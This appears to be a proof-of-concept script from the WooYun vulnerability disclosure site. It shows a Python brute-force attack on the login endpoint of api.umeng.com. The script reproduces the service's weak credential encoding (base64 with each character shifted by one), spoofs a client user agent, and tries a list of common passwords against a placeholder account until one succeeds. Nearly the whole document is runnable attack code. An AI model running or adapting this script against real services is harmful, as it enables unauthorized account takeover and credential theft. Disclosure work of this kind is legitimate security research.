WooYun.org

#!/usr/bin/python
from urllib import urlencode
import httplib
import base64
def encode(username, password):
	base64_string = base64.encodestring(username + ":" + password)
	encrypt_string = ''
	for chr_code in base64_string :
		encrypt_string += chr(ord(chr_code)+1)
	return encrypt_string
def login(encode):
	headers = {
		"User-Agent": "Apache-HttpClient/UNAVAILABLE (java 1.4)",
		"Content-Type": "application/x-www-form-urlencoded",
		"Host": "api.umeng.com"}
	con = httplib.HTTPConnection("api.umeng.com")
	params =  {"auth" : encode}
	encode_params = urlencode(params)
	con.request("POST", "/authorize",encode_params,headers)
	response = con.getresponse()
	return response.status
	
if __name__ == '__main__' :
	username = "xxx@xxx.com"
	passwords = ("000000","111111","222222","333333","444444","555555","666666","777777","888888","999999","password here")
	
	for password in passwords :
		print "trying " + password
		if login(encode(username,password)) == 200:
			print username + "'s password is " + password
			break
	else :
		print "brut failed!"